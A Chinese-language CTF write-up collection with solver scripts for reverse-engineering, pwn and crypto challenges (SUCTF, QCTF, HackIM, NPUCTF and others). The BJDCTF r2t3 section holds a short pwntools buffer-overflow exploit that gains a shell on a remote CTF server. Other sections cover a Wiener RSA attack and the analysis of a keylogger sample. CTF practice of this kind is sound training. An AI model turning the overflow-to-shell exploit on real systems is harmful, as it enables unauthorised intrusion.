if flag[i]==0x4e:
flag[i]=0x52
else: flag[i]=0x54
print(bytes(flag))

[dasctf]hide_and_seek

  1. 入口不是真入口,通过调试找到了真正的入口
  2. patch掉反调试,patch掉花指令,patch掉无用函数

去除无用函数脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
start = 0x4020b3
end = 0x402db9

for i in range(start,end):
if Byte(i)==0xe8:
addr=Dword(i+1)+i+5
print "patching %x"%addr
if Byte(addr)==0xc3:
patch_byte(i,0x90)
patch_byte(i+1,0x90)
patch_byte(i+2,0x90)
patch_byte(i+3,0x90)
patch_byte(i+4,0x90)

大概是通过异常处理找到main函数,最后是异或了一组数,像是rc4加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>
void printArray(const char *name,uint8_t *v,size_t len){
printf("========%s=========\n",name);
for(size_t i=0;i<len;i++){
printf("%02X,",v[i]);
}
printf("\n=================\n");
}

int main(){
uint64_t target = 0x19B66C9FEF431ull;
uint8_t flag[256]={0};
target^=0xDEADBEEF;
target^=0xBADBEEF;
for(size_t i=6;i<8;i--){
flag[i]=target&0x7f;
target>>=7;
}
uint8_t result[] = {0x75,0x93,0xAB,0xF2,0x1B,0x54,0x36,0x83,0xDF,0xE8,0x35,0x51,0x61,0xB7,0xC0,0x1C,0x29,0x50,0x9E,0xCD,0x38,0x67,0xA2,0x11,0x4F,0x8A,0xF9,0x24,0x61,0xA1,0x0C,0x7B,0xB6,0xE5,0x72,0x82};
uint8_t xorData[256]={0};
char input[] = "flag{h1aaaaaaaaaaaaaaaaaaaaaaaaaaaa}";
for(size_t i=0;i<strlen(input);i++){
xorData[i]=input[i]^result[i];
}
uint8_t f[] = {0x75,0x93,0xAB,0xF2,0x1B,0x54,0x36,0x86,0x8D,0xD6,0x35,0x5E,0x64,0x89,0xD2,0x4E,0x7B,0x5A,0xA0,0xEB,0x0A,0x59,0xA5,0x41,0x40,0x8F,0xC7,0x31,0x68,0xF3,0x32,0x77,0xB6,0xB5,0x7D,0x82,0};
for(size_t i=0;i<0x24;i++){
f[i]^=xorData[i];
}
printf("%s\n",f);
return 0;
}

[rev][SUCTF2019]Akira Homework

同时看两份答案才勉强看懂

TLS回调在进程创建、结束,线程创建、结束偶会有回调

C语言中::Src代表访问名为Src的全局变量,避免和局部变量混淆

  1. 有一段password,按照指定格式异或置换即可

  2. 从signature文件流读取文件,
    这个写入文件流总是不成功,于是直接把冒号改成a,改成从文件读取就好了

    1
    type 1.txt >> WinRev.exe:signature

    后进行md5校验

  3. IDA Ctrl+E可以查看程序所有入口

  4. TLS回调里面有个反调试和字符串解密

  5. 调试调着调着就退出了,猜测是主函数创建多线程搞得鬼,在副线程函数处下断调试,发现有个枚举进程名,然后进程了进程名的md5比对,调试发现如果是ida64.exe就退出

    我tm直接改成jmp

    sub_14008500里面还是有反调试

  6. 反调试这里有个只执行一次的函数,还不清楚是什么

  7. WaitForMultipleObjects是程序接收信号的位置,258代表睡眠超时信号,使用这个结合多线程可以实现基于时间的反调试

  8. 然后后面有map一个dll进内存,查看map的dll,可以看到mz文件头,就是可执行文件头,dump内存,可以通过字符串找到主函数

  9. 之后可以查看到AES加密,密钥很明显,密文在sub_14009850的Src中

    这个是因为dump下的内存中,sub_180002880打开的是名为SharedMemory的映射,并且子线程中SharedMemory的数据很明显了

唔,还是需要学习呀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import base64
import hashlib
import os
from Crypto.Cipher import AES
# from z3 import *

############## 第一个密码
a = [1,5,4,2,3,0]
b = [106, 90, 101, 107, 113, 65, 114, 104, 85, 124, 57, 103, 62, 48, 79, 125, 124, 100]
rb = [0]*len(b)
for i in range(len(b)):
rb[6*(i//6)+a[i%6]]=b[i]
for i in range(len(rb)):
rb[i]^=i
print(bytes(rb))

############# 第二个密码
k = [0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476]
key = []
for i in k:
key.append(i&0xff)
key.append((i>>8)&0xff)
key.append((i>>16)&0xff)
key.append(i>>24)
key = bytes(key)
c = [0xFC,0xAE,0xEB,0x6E,0x34,0xB4,0x30,0x3E,0x99,0xB9,0x12,6,0xBD,0x32,0x5F,0x2B]
c = bytes(c)
print(base64.b16encode(c))

################ 修改dump后的文件
data = []
with open("winrev_dmp.dll","rb") as f:
data = f.read()
data = data[0x1a0:]
with open("winrev_newdump.dll",'wb') as f:
f.write(bytes(data))

################ 解密flag

Src = [0]*16
Src[0] = 0x94
Src[1] = 0xBF
Src[2] = 0x7A
Src[3] = 0xC
Src[4] = 0xA4
Src[5] = 0x35
Src[6] = 0x50
Src[7] = 0xD1
Src[8] = 0xC2
Src[9] = 0x15
Src[10] = 0xEC
Src[11] = 0xEF
Src[12] = 0x9D
Src[13] = 0x9A
Src[14] = 0xAA
Src[15] = 0x56
Src = bytes(Src)
key = b'Ak1i3aS3cre7K3y\x00'
aes = AES.new(key=key,mode=AES.MODE_ECB)
p = aes.decrypt(Src)
print(p)

参考

https://xz.aliyun.com/t/6042#toc-9

https://blog.csdn.net/qq_41252520/article/details/100738585

https://www.52pojie.cn/thread-1039478-1-1.html#28221000_akira-homework

[rev][QCTF2018]babyre

有个关键函数,直接看汇编没什么头绪,看答案了

rust语言逆向

  1. 通过IDAView可以查看函数大概流程
  2. 既然是处理,又不是超大函数,那基本上肯定有cmp指令,之后就会有分支,那这里就是关键点
  3. 然后经过三个处理函数,最后进行检测

第一个处理函数

分析出两个函数,都是获取指定偏移的地址,于是可以发现变换规律:

4个为一组进行移位

2–>0 3–>2 0–>1 1–>3

逆变换就是 0–>2 1–>0 3–>1 2–>3

第二个处理函数

4个为一组,单个字符变换

3: -127 4: +7 5: +18 6: +88

第三个处理函数

9: ror 2 10: ror 7 11: ror 4 12: ror 5

比对函数里面有一串字节序列,应该就是要比对的数据了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66



target=[0]*32
target[0] = 0xDA
target[1] = 0xD8
target[2] = 0x3D
target[3] = 0x4C
target[4] = 0xE3
target[5] = 0x63
target[6] = 0x97
target[7] = 0x3D
target[8] = 0xC1
target[9] = 0x91
target[10] = 0x97
target[11] = 0xE
target[12] = 0xE3
target[13] = 0x5C
target[14] = 0x8D
target[15] = 0x7E
target[16] = 0x5B
target[17] = 0x91
target[18] = 0x6F
target[19] = 0xFE
target[20] = 0xDB
target[21] = 0xD0
target[22] = 0x17
target[23] = 0xFE
target[24] = 0xD3
target[25] = 0x21
target[26] = 0x99
target[27] = 0x4B
target[28] = 0x73
target[29] = 0xD0
target[30] = 0xAB
target[31] = 0xFE

for i in range(8):
t = target[(i*4+9)&0x1f]
target[(i*4+9)&0x1f]=((t<<2)|(t>>6))&0xff
t=target[(i*4+10)&0x1f]
target[(i*4+10)&0x1f]=((t>>1)|(t<<7))&0xff
t=target[(i*4+11)&0x1f]
target[(i*4+11)&0x1f]=((t>>4)|(t<<4))&0xff
t=target[(i*4+12)&0x1f]
target[(i*4+12)&0x1f]=((t>>3)|(t<<5))&0xff
for i in range(8):
t = target[(i*4+3)&0x1f]
target[(i*4+3)&0x1f]=(t+127)&0xff
t = target[(i*4+4)&0x1f]
target[(i*4+4)&0x1f]=(t-7+0x100)&0xff
t = target[(i*4+5)&0x1f]
target[(i*4+5)&0x1f]=(t-18+0x100)&0xff
t = target[(i*4+6)&0x1f]
target[(i*4+6)&0x1f]=(t-88+0x100)&0xff
t = [0]*4
for i in range(8):
t[0]=target[i*4]
t[1]=target[i*4+1]
t[2]=target[i*4+2]
t[3]=target[i*4+3]
target[i*4]=t[1]
target[i*4+1]=t[3]
target[i*4+2]=t[0]
target[i*4+3]=t[2]
print(bytes(target))

总结:

  1. 一般会有cmp的地方是关键,因为要比对flag,长度等
  2. 程序中有一个或两个关键函数,比如本程序中的获取指定偏移处的数据
  3. 敢于行动

[rev][ACTF新生赛2020]fungame

程序进入之后有个读取输入,然后异或,得到结果

Re_1s_So0_funny!

提交不是flag(肯定不是),查看接下来的函数,使用了strcpy,再查看目标地址,发现strcpy溢出了,覆盖了旧ebp,这样肯定会引起异常吧,所以要找exception handler

挨个查看函数,有个函数让input again,然后base64,和a1s0_pWn比对,最终是
Re_1s_So0_funny!a1s0_pWn

还有个Reverse字符串

看答案是要使用pwn的思想,跳转到指定的地址(大概是第二次输入)

Re_1s_So0_funny!\x3d\x23\x40(=#@)

Re_1s_So0_funny!=#@

总结

善于思考题目的提示,善于观察,路子要野,不能走死了

[rev][CFI-CTF 2018]Automated Reversing

读取指定偏移的数据然后做一些操作

注意不要用os.listdir(),那个是不排序的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
import os

def getData(filename):
data = []
with open(filename,'rb') as f:
data = f.read()
c = data[0xce]
a = data[0xcb]
op = data[0xca]
res = 0
if op==0xc2:
res = (c-a)&0xff
elif op==0xf2:
res=c^a
elif op==0xea:
res=(c+a)&0xff
else:
print('unknown:',filename,hex(op))
return res

path = "binaries\\binary"
flag = []
for i in range(1008):
flag.append(getData(path+str(i)))
print(bytes(flag))

'''
CFI{1s_th 1s_4_pr0g_ech4ll_0r_4l_r3ve3se_cih4ll?} # 使用os.listdir()的后果
CFI{1s_th1s_4_pr0g_ch4ll_0r_4_r3ve3se_ch4ll?}
'''

[rev][FlareOn1]5get_it

是一个dll,x32dbg可以直接加载

先是做了一些注册表的操作= =,然后拷贝了一份文件,可能因为权限不够,拷贝不成功

后面是读取按键的操作,并且将按键保存到了svchost.log文件中

然后在IDA中发现了DlgFunc函数,交叉引用找到了调用它的函数,函数很大,功能简单,实际上拷贝了3个字符串,使用python看看字符串是啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Courier New
FLARE ON!
_______________________________________________NDD__________________________________________________
______________________________________________DDDDD_________________________________________________
______________________________________________DDDDDN________________________________________________
_____________________________________________DDDDDDD________________________________________________
NNNNNNNNDDN________DNNN_____________________NDDDDDDDD_______________NNNNNNNNDN__________DNNNNNNNNNNN
DDDDDDDDDDD________NDDD____________________NDDDDDDDDDN______________DDDDDDDDDDDD________DDDDDDDDDDDD
DDDDDDDDDDD________NDDD____________________NDDDDDDDDDD______________DDDDDDDDDDDDN_______NDDDDDDDDDDD
DDDD_______________DDDD___________________NDDDDDDDDDDDD_____________DDDD_____NDDD_______DDDD________
DDDD_______________DDDD__________________DDDDDDD_DDDDDDN____________DDDD_____DDDD_______DDDD________
DDDDDDDDDD_________DDDD__________________NDDDDD___DDDDDDN___________DDDDDNNNNDDDN_______DDDDDDDDDD__
DDDDDDDDDD_________DDDD_________________DDDDDDN___DNDDDDD___________DDDDDDDDDDD_________DDDDDDDDDD__
DDDD_______________DDDD________________DDDDDDD_____DDDDDDD__________DDDD__DDDD__________DDDD________
DDDD_______________DDDD_______________DDDDDDD_______DDDDDDD_________DDDD__NNDDD_________DDDD________
DDDD_______________DDDDNNNNNN_________NDDDDDN_______NDDDDDD_________DDDD___DDDDN________DDDDNNNNNNNN
DDDD_______________DDDDDDDDDDD_______NDDDDDD_________NDDDDDD________DDDD____DDDD________DDDDDDDDDDDD
DDDN_______________DDDDDDDDDDN______NDDDDDDDDDDDDDDD__DDDDDDD_______NDDD_____DDDD_______DDDDDDDDDDDN
____________________________________DDDDDDDDDDDDDDDN___DDDDDDN______________________________________
___________________________________DDDDDDDDDDDDDDD_____DDDDDDD______________________________________
__________________________________DDDDDDDDDDDDDDN_______DDDDDDD_____________________________________
________________________________________NDDDDDN_____________________________________________________
_______________________________________DNDDDDN______________________________________________________
_______________________________________DDDDD________________________________________________________
______________________________________DDDDD_________________________________________________________
_____________________________________DDDDD__________________________________________________________
_____________________________________NDD____________________________________________________________
____________________________________NDD_____________________________________________________________
___________________________________DD_______________________________________________________________

原来是欢迎界面,交叉引用这个函数,得到当按下m并且一个全局变量大于0时就打印

猜测m是最后一个字符,通过交叉引用全局变量找到上一个字符,是o,依此类推,向前找

moctodnohsaderalfta5ek0rt5todrutodgnigg0l

l0gging.ur.5tr0ke5@flare-on.com

得到了,也包了flag,不知道为何不对。找到了这个

https://cyberdefenders.org/labs/24

发现u是大写u,是我看错了吗 = =。大概是题目bug,输入小写u依然可以通过

[rev][HackIM2020]returminator

发现输入超过了s的长度,使用了pwn的思想,构造了一条rop链。可以看成一个VM,下面是反汇编脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import base64
import os

exe = None

def vm(ads):
dis = ''
s = ''
ip = 0
while ip<len(ads):
ad = ads[ip]
if ad==0x4011a0:
dis='pop rcx'
s='rcx=0x%x'%ads[ip+1]
if ads[ip+1]==0x4040a0:
s+=';input'
ip+=2
elif ad==0x4011a2:
dis='pop rax'
s='rax=0x%x'%ads[ip+1]
if ads[ip+1]==0x4040a0:
s+=';input'
ip+=2
elif ad==0x40119a:
dis='pop rdi'
s='rdi=0x%x'%ads[ip+1]
if ads[ip+1]==0x4040a0:
s+=';input'
ip+=2
elif ad==0x4011a4:
dis='add rax,rdi'
s='add rax,rdi'
ip+=1
elif ad==0x4011ea:
dis='mov rdi,rax'
s='mov rdi,rax'
ip+=1
elif ad==0x4011d6:
dis='movzx rdi, byte ptr [rdi]'
s=dis
ip+=1
elif ad==0x40119c:
dis='pop rsi'
s='rsi=0x%x'%ads[ip+1]
ip+=2
elif ad==0x4011a8:
dis='add rax,rsi'
s=dis
ip+=1
elif ad==0x4011ee:
dis='mov rsi,rax'
s=dis
ip+=1
elif ad==0x4011db:
dis='movzx rsi, byte ptr [rsi]'
s=dis
ip+=1
elif ad==0x4011bd:
dis='xor rax,rax'
s='xor rax,rax'
ip+=1
elif ad==0x4011c5:
dis='sub rax,rsi'
s=dis
ip+=1
elif ad==0x4011ea:
dis='mov rdi,rax'
s=dis
ip+=1
elif ad==0x4011ff:
dis='call exit'
s='exit'
ip+=1
elif ad==0x40119e:
dis='pop rdx'
s='rdx=0x%x'%ads[ip+1]
if ads[ip+1]==0x4040a0:
s+=';input'
ip+=2
elif ad==0x4011ac:
dis='add rax,rdx'
s=dis
ip+=1
elif ad==0x4011f2:
dis='mov rdx,rax'
s=dis
ip+=1
elif ad==0x4011e0:
dis='movzx rdx, byte ptr [rdx]'
s=dis
ip+=1
elif ad==0x4011c9:
dis='sub rax,rdx'
s=dis
ip+=1
elif ad==0x4011c1:
dis='sub rax,rdi'
s=dis
ip+=1
elif ad==0x4011b0:
dis='add rax,rcx'
s=dis
ip+=1
elif ad==0x4011f6:
dis='mov rcx,rax'
s=dis
ip+=1
elif ad==0x4011e5:
dis='movzx rcx, byte ptr [rcx]'
s=dis
ip+=1
elif ad==0x4011cd:
dis='sub rax,rcx'
s=dis
ip+=1
else:
s='unknown: %x'%ad
ip+=1
print(s)
o = [296, 272, 272, 272, 296, 360, 272, 424, 272, 208, 120, 120, 120, 96, 120, 120, 120, 120, 120, 120, 120, 208, 120, 120, 208, 208, 208, 208, 208, 272, 120, 208, 208]
addr = []
with open('blob','rb') as f:
for i in o:
data = f.read(i)
a = []
for j in range(0x38,len(data),8):
a.append(int.from_bytes(bytes=data[j:j+8],byteorder='little'))
addr.append(a)
for i in range(len(addr)):
print('r[%d]:'%i)
vm(addr[i])
print()

得到汇编指令之后可以观察到对于每一个字符的处理,注意exit退出时的参数就是返回值,参数位于rdi

s代表input,r代表返回值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
r[0]==s[0]+s[2]+s[4]-0x64
r[1]==s[6]+s[8]+s[0xa]
r[2]==s[0xc]+s[0xe]+s[0x10]
r[3]==s[0x12]+s[0x1]-s[0x1e]
r[4]==s[3]+s[0x16]+s[3]-0x64
r[5]==s[5]+s[0x1d]+s[0x1c]-s[7]-0x64
r[6]==s[9]+s[0x11]-s[0xb]
r[7]==-(s[0x13]+s[0x1b])+s[0xd]+s[0xf]+s[0x14]
r[8]==s[0x15]+s[0x17]+s[0x17]
r[9]==s[0x19]+s[0x1a]
r[10]==s[0x1e]
r[11]==s[9]
r[12]==s[8]
r[13]==s[0]
r[14]==s[1]
r[15]==s[2]
r[16]==s[3]
r[17]==s[4]
r[18]==s[5]
r[19]==s[6]
r[20]==s[7]
r[21]==s[0]+s[0xb]
r[22]==s[0x1d]
r[23]==s[0x1d]
r[24]==s[0x1d]-s[0xd]
r[25]==s[0x1c]-s[0xe]
r[26]==s[0x1c]+s[0xf]
r[27]==s[0]-s[0x1b]
r[28]==s[0x17]-s[0x18]
r[39]==s[0x1a]+s[0]-s[1]
r[30]==s[0x13]
r[31]==s[0xb]+s[0xc]
r[32]==s[0x15]-s[0x14]

之后使用z3求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import hashlib
import base64
from z3 import *
r = [208, 225, 237, 20, 214, 183, 79, 105, 207, 217, 125, 66, 123, 104, 97, 99, 107 , 105, 109, 50, 48, 202, 111, 111, 29, 63, 223, 36, 0, 124, 100, 219, 32]
s = [BitVec('s%d'%i,8) for i in range(34)]
print(len(r),len(s))
so = Solver()

so.add(r[0]==s[0]+s[2]+s[4]-0x64)
so.add(r[1]==s[6]+s[8]+s[0xa])
so.add(r[2]==s[0xc]+s[0xe]+s[0x10])
so.add(r[3]==s[0x12]+s[0x1]-s[0x1e])
so.add(r[4]==s[3]+s[0x16]+s[3]-0x64)
so.add(r[5]==s[5]+s[0x1d]+s[0x1c]-s[7]-0x64)
so.add(r[6]==s[9]+s[0x11]-s[0xb])
so.add(r[7]==-(s[0x13]+s[0x1b])+s[0xd]+s[0xf]+s[0x14])
so.add(r[8]==s[0x15]+s[0x17]+s[0x17])
so.add(r[9]==s[0x19]+s[0x1a])
so.add(r[10]==s[0x1e])
so.add(r[11]==s[9])
so.add(r[12]==s[8])
so.add(r[13]==s[0])
so.add(r[14]==s[1])
so.add(r[15]==s[2])
so.add(r[16]==s[3])
so.add(r[17]==s[4])
so.add(r[18]==s[5])
so.add(r[19]==s[6])
so.add(r[20]==s[7])
so.add(r[21]==s[0]+s[0xb])
so.add(r[22]==s[0x1d])
so.add(r[23]==s[0x1d])
so.add(r[24]==s[0x1d]-s[0xd])
so.add(r[25]==s[0x1c]-s[0xe])
so.add(r[26]==s[0x1c]+s[0xf])
so.add(r[27]==s[0]-s[0x1b])
so.add(r[28]==s[0x17]-s[0x18])
so.add(r[29]==s[0x1a]+s[0]-s[1])
so.add(r[30]==s[0x13])
so.add(r[31]==s[0xb]+s[0xc])
so.add(r[32]==s[0x15]-s[0x14])
res = []
if so.check()==sat:
m = so.model()
for i in s:
if m[i]!=None:
res.append(m[i].as_long())
else:
print('none',i)
print(res)
print(bytes(res))

[pwn][BJDCTF 2nd]r2t3

长度是unsigned int8类型的,可以溢出

程序中有个函数可以获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import string
import base64
import ctypes
import time
from LibcSearcher import *

# elf = ELF('./pwn')
# libc = ELF('/home/kali/Music/libc32/libc-2.23.so')
# libc = ELF('/lib32/libc.so.6')
context.arch='i386'
context.terminal = ['gnome-terminal','-x','sh','-c']
# context.arch='amd64'
context.log_level='debug'
p = remote('node3.buuoj.cn',25713)
# p = process('./r2t3')

getsh = 0x804858b
payload = 'a'*0x11+'a'*4+p32(getsh)
payload+='a'*(256+4-len(payload))
p.sendline(payload)
p.interactive()

[Crypto]rsa2

低解密指数攻击

https://github.com/pablocelayes/rsa-wiener-attack

1
2
3
4
5
6
7
8
9
10
11
12

N = 101991809777553253470276751399264740131157682329252673501792154507006158434432009141995367241962525705950046253400188884658262496534706438791515071885860897552736656899566915731297225817250639873643376310103992170646906557242832893914902053581087502512787303322747780420210884852166586717636559058152544979471
e = 46731919563265721307105180410302518676676135509737992912625092976849075262192092549323082367518264378630543338219025744820916471913696072050291990620486581719410354385121760761374229374847695148230596005409978383369740305816082770283909611956355972181848077519920922059268376958811713365106925235218265173085

import hashlib
import RSAwienerHacker

d = RSAwienerHacker.hack_RSA(e,N)
print(d)
print(hex(d))
flag = "flag{" + hashlib.md5(hex(d)).hexdigest() + "}"
print(flag)

需要注意的是,上述代码需要在python2中运行,python2和python3的hex()函数有点不同,python2会在末尾加一个L,python3没有L

[misc]大白

使用010editor可以验证图片的CRC

修改图片的宽度和高度相同,就可以得到flag

[rev][NPUCTF2020]芜湖🛫

先解密数据再解密字符串,原来是base64隐写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# coding=utf-8

import base64
import os

def andd(a,b):
v3=1 if a&b==0 else 0
v4=1 if v3&a==0 else 0

v5=1 if v3&b==0 else 0
return 1 if v4&v5==0 else 0
tab = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/']
rtab = [0]*256
for i in range(len(tab)):
rtab[tab[i]]=i
a = [0x54, 0x54, 0x18, 0x59, 0x54, 0x38, 0xc, 0x2f, 0x57, 0x38, 0x4, 0x2f, 0x54, 0x0, 0x32, 0x2f, 0x54, 0x54, 0x10, 0x24, 0x57, 0x0, 0x2e, 0x2e, 0x54, 0x11, 0xc, 0x17, 0x2d, 0x26, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x13, 0x8, 0x30, 0x54, 0x13, 0x8, 0x30, 0x54, 0x10, 0x8, 0x9, 0x54, 0x56, 0x2e, 0x2a, 0x54, 0x2d, 0x10, 0x26, 0x54, 0x56, 0x10, 0xc, 0x54, 0x0, 0x57, 0x0, 0x2d, 0x2e, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x11, 0x8, 0x7, 0x54, 0x57, 0xc, 0x57, 0x54, 0x2d, 0x8, 0x2d, 0x54, 0x13, 0x36, 0x23, 0x54, 0x13, 0x36, 0x10, 0x54, 0x54, 0x10, 0x24, 0x54, 0x2d, 0x53, 0x6, 0x2d, 0x29, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x2d, 0x14, 0x2f, 0x54, 0x55, 0x32, 0x53, 0x54, 0x57, 0x4, 0x38, 0x54, 0x0, 0x4a, 0x26, 0x54, 0x54, 0x10, 0x24, 0x57, 0x2d, 0x4, 0x5, 0x54, 0x57, 0x0, 0x56, 0x2d, 0x20, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x13, 0x8, 0x11, 0x54, 0x3, 0x10, 0xc, 0x54, 0x13, 0x0, 0x28, 0x54, 0x0, 0x32, 0x19, 0x54, 0x54, 0x10, 0x24, 0x54, 0x54, 0x57, 0x12, 0x57, 0x3b, 0x4, 0x51, 0x2d, 0x29, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x11, 0x4, 0x6, 0x54, 0x13, 0x2e, 0x37, 0x57, 0x2a, 0x4, 0xc, 0x54, 0x11, 0x26, 0x55, 0x54, 0x54, 0x10, 0x24, 0x54, 0x11, 0x8, 0x2e, 0x54, 0x0, 0x32, 0x11, 0x2d, 0x27, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x13, 0x2a, 0x9, 0x54, 0x11, 0x18, 0x2b, 0x54, 0x3, 0x18, 0x37, 0x54, 0x38, 0x10, 0x3, 0x54, 0x54, 0x10, 0x24, 0x54, 0x2d, 0x8, 0x36, 0x54, 0x54, 0x36, 0x2c, 0x2d, 0x26, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x13, 0x2a, 0x9, 0x54, 0x11, 0x18, 0x2b, 0x57, 0x28, 0x32, 0x0, 0x54, 0x38, 0x53, 0x16, 0x54, 0x54, 0x10, 0x24, 0x54, 0x38, 0x36, 0x2b, 0x54, 0x3, 0xc, 0x51, 0x2d, 0x25, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57, 0x2d, 0x4a, 0x38, 0x54, 0x3b, 0x18, 0xe, 0x54, 0x57, 0x53, 0x2b, 0x54, 0x54, 0x53, 0x20, 0x54, 0x2d, 0x53, 0x6, 0x54, 0x38, 0x4, 0x57, 0x54, 0x55, 0x57, 0x16, 0x2d, 0x29, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0x11, 0x4, 0xd, 0x54, 0x11, 0x4, 0xd, 0x54, 0x0, 0x32, 0x2, 0x54, 0x0, 0x32, 0x2, 0x57, 0x28, 0x4, 0x10, 0x57, 0x2d, 0x53, 0x12, 0x54, 0x54, 0x10, 0x24, 0x57, 0x2a, 0x26, 0x2c, 0x54, 0x11, 0x8, 0x7, 0x2d, 0x24, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x38, 0x8, 0x16, 0x54, 0x0, 0x32, 0x24, 0x57, 0x38, 0x26, 0x14, 0x54, 0x13, 0x14, 0x9, 0x54, 0x38, 0x8, 0x13, 0x54, 0x2d, 0x10, 0x57, 0x54, 0x54, 0x10, 0x24, 0x57, 0x28, 0x2e, 0x2c, 0x54, 0x3, 0x53, 0x19, 0x2d, 0x26, 0x5c, 0x5c, 0x0, 0x0, 0x57, 0x2a, 0x57, 0x11, 0x57, 0x0, 0x2e, 0x2e, 0x54, 0x3b, 0x22, 0x54, 0x54, 0x11, 0x36, 0xb, 0x54, 0x13, 0x4, 0x52, 0x54, 0x2d, 0xc, 0x19, 0x54, 0x54, 0x10, 0x24, 0x54, 0x3b, 0x26, 0x59, 0x54, 0x3b, 0x22, 0x55, 0x2d, 0x26, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x3, 0x4a, 0x13, 0x54, 0x3, 0x4a, 0x13, 0x54, 0x13, 0x8, 0x27, 0x57, 0x38, 0x0, 0x32, 0x7, 0xf, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57, 0x3b, 0x53, 0x3b, 0x57, 0x3b, 0x53, 0x3b, 0x54, 0x55, 0x36, 0xf, 0x54, 0x2d, 0x10, 0x14, 0x54, 0x38, 0x57, 0x7, 0x54, 0x11, 0x53, 0xd, 0x54, 0x54, 0x10, 0x24, 0x57, 0x28, 0x4, 0x10, 0x54, 0x3, 0x4, 0x19, 0x2d, 0x2d, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x0, 0x32, 0x11, 0x54, 0x57, 0xc, 0x57, 0x54, 0x13, 0x32, 0x32, 0x54, 0x13, 0x14, 0x9, 0x54, 0x3, 0x4a, 0x58, 0x54, 0x55, 0x32, 0x53, 0x54, 0x54, 0x10, 0x24, 0x54, 0x38, 0x36, 0x2b, 0x54, 0x11, 0x8, 0x2e, 0x2d, 0x24, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x54, 0x18, 0x59, 0x54, 0x2d, 0x8, 0x15, 0x54, 0x38, 0x4a, 0x10, 0x57, 0x2a, 0x0, 0x23, 0x54, 0x56, 0x14, 0x0, 0x54, 0x55, 0x2e, 0x22, 0x54, 0x54, 0x10, 0x24, 0x54, 0x0, 0x32, 0x11, 0x57, 0x3b, 0xc, 0x27, 0x2d, 0x26, 0x5c, 0x5c, 0x0, 0x0, 0x54, 0x38, 0x0, 0x2f, 0x57, 0x0, 0x2e, 0x4, 0x57, 0x2a, 0x26, 0x2c, 0x28, 0x36, 0x5c, 0x5c, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x54, 0xe, 0x8, 0x33, 0x54, 0x38, 0x14, 0x29, 0x54, 0x11, 0x36, 0x8, 0x54, 0x3b, 0x18, 0x16, 0x54, 0xe, 0x10, 0x12, 0x57, 0x2d, 0x36, 0x52, 0x54, 